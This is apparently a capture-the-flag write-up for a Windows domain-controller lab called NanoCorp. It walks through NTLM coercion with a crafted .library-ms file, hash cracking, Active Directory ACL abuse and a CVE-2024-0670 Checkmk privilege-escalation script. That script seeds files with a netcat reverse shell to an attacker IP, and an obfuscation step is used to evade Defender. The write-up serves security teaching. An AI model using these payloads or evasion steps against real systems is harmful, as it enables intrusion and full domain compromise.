[ writeup · case #021 ]
NanoCorp
Foothold via a malicious .library-ms file uploaded to a hiring portal, which coerces NTLM authentication from the DC and leaks web_svc credentials. AD ACL abuse lets me add web_svc to IT_Support and reset monitoring_svc's password, then authenticate to WinRM via Kerberos for user. Root comes…
| Field | Value |
|---|---|
| OS | Windows |
| Difficulty | Hard |
| Release Date | 2025-12-02 |
| Retired | TBD |
| Author | l1ght |
Summary
Enumeration
Port Scan
rustscan --range 1-65535 -a <target> -- -APORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Nanocorp
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb)
3269/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
5986/tcp open ssl/http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (WinRM)
6556/tcp open unknown syn-ack ttl 127Key findings:
- Port
80— Apache web server — corporate site with a hiring portal athire.nanocorp.htb - Port
5986— WinRM over HTTPS — remote management, useful once credentials are obtained - Port
6556— Checkmk Agent — running asLocalSystem, the root vector - Full AD stack (88, 389, 445, 464) confirms this is a domain controller
Web / Service Enumeration
The main site at nanocorp.htb is a static corporate page. An "Apply Now" button redirects to hire.nanocorp.htb, a job application portal that accepts ZIP file uploads. The upload field is the attack surface — the server extracts the ZIP contents, and any .library-ms file inside triggers an automatic UNC path resolution on Windows, which can be weaponized to coerce NTLM authentication.
I craft a malicious .library-ms file pointing at my machine's IP over SMB:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<simpleLocation>
<url>\\<ATTACKER_IP>\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>zip doc.zip doc.library-msWith Responder running on tun0, I upload doc.zip to the hiring portal. The server extracts the archive and Windows automatically resolves the UNC path, sending an SMB authentication attempt straight to my listener.
sudo responder -I tun0 -vThe captured hash belongs to NANOCORP\web_svc:
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash : web_svc::NANOCORP:bd430377a8c4cfe9:[REDACTED:HASH]:...I crack it offline with John:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --show --format=netntlmv2web_svc:[REDACTED:CRED]Credentials confirmed valid against LDAP:
nxc ldap <target> -u 'web_svc' -p '[REDACTED:CRED]'[+] nanocorp.htb\web_svc:[REDACTED:CRED]Foothold
BloodHound reveals that web_svc has AddMember rights on the IT_Support group, and members of IT_Support can force-change the password of monitoring_svc. I chain both:
(opens the full-size image)
(opens the full-size image)```bash
bloodyAD --host "<target>" -d "nanocorp.htb" -u "web_svc" -p '[REDACTED:CRED]' add groupMember "it_support" "web_svc"[+] web_svc added to it_support
```bash
bloodyAD --host "<target>" -d "nanocorp.htb" -u "web_svc" -p '[REDACTED:CRED]' set password "MONITORING_SVC" '[REDACTED:CRED]'[+] Password changed successfully!With monitoring_svc under control, I sync the clock (Kerberos requires it), grab a TGT, and authenticate via WinRM:
sudo ntpdate -u <target>
echo '[REDACTED:CRED]' | kinit [REDACTED:EMAIL]
export KRB5CCNAME=/tmp/krb5cc_1000
evil-winrm -i dc01.nanocorp.htb -r NANOCORP.HTB -SUser Flag
*Evil-WinRM* PS /home/light\Desktop> type user.txtPrivilege Escalation
From the WinRM shell I confirm Checkmk Agent 2.1.0p10 is listening on port 6556 as LocalSystem. This version is vulnerable to CVE-2024-0670 — during an MSI repair (msiexec /fa), the agent writes temporary .cmd files to C:\Windows\Temp\ using predictable names: cmk_all_{PID}_{counter}.cmd. If those files already exist and are marked read-only, Windows Installer picks them up and executes them as SYSTEM without checking their content.
The attack requires running the seeding script as web_svc, since monitoring_svc lacks write access to C:\Windows\Temp\. I use a compiled and obfuscated version of RunasCs (renamed to SvcHelper.exe to evade Defender) to execute bad.ps1 under web_svc's context.
First I obfuscate RunasCs on my attacker machine:
with open('RunasCs.cs', 'r') as f:
code = f.read()
code = code.replace('RunasCsException', 'SvcHelperEx')
code = code.replace('RunasCs', 'SvcHelper')
code = code.replace('RunasCsOptions', 'SvcHelperOpts')
code = 'namespace SystemServiceHelper {\n' + code + '\n}'
with open('SvcHelper.cs', 'w') as f:
f.write(code)I upload SvcHelper.cs to the target's Documents directory and compile it there — compiling in C:\Windows\Temp\ triggers Defender:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /optimize /out:SvcHelper.exe SvcHelper.cs
Copy-Item SvcHelper.exe C:\Windows\Temp\SvcHelper.exe -Forcebad.ps1 locates the Checkmk MSI via the Installer registry hive, seeds 28,000 read-only .cmd files across the full PID range, then triggers a silent MSI repair:
param(
[int]$MinPID = 1000,
[int]$MaxPID = 15000,
[string]$LHOST = "<ATTACKER_IP>",
[string]$LPORT = "9001"
)
$NcPath = "C:\Windows\Temp\nc.exe"
$BatchPayload = "@echo off`r`n$NcPath -e cmd.exe $LHOST $LPORT"
$msi = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' | Where-Object { $_.DisplayName -like '*mk*' } | Select-Object -First 1).LocalPackage
if (!$msi) { Write-Error "Could not find Checkmk MSI"; return }
Write-Host "[*] Found MSI at $msi"
foreach ($ctr in 0..1) {
for ($num = $MinPID; $num -le $MaxPID; $num++) {
$filePath = "C:\Windows\Temp\cmk_all_$($num)_$($ctr).cmd"
try {
[System.IO.File]::WriteAllText($filePath, $BatchPayload, [System.Text.Encoding]::ASCII)
Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $true -EA SilentlyContinue
} catch {}
}
}
Write-Host "[*] Seeding complete."
Write-Host "[*] Triggering MSI repair..."
Start-Process "msiexec.exe" -ArgumentList "/fa `"$msi`" /qn /l*vx C:\Windows\Temp\cmk_repair.log" -Wait
Write-Host "[*] Trigger sent. Check listener."With a netcat listener ready on port 9001, I trigger the chain:
.\SvcHelper.exe web_svc "[REDACTED:CRED]" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\bad.ps1"The MSI repair process finds and executes one of the pre-seeded files as SYSTEM:
C:\Windows\system32> whoami
nt authority\systemRoot Flag
/home/light\Desktop> type root.txtKey Takeaways
.library-msfiles are a stealthy NTLM coercion vector — Windows silently resolves the embedded UNC path on file open/extract, no user interaction required beyond the upload- AD ACL chains are often more powerful than they look —
AddMemberon one group cascading intoForceChangePasswordon a privileged account is a full takeover path - CVE-2024-0670 is a race condition where the fix is flooding the race space — 28,000 pre-seeded files across the full PID range makes the race near-deterministic; marking them read-only defeats AV cleanup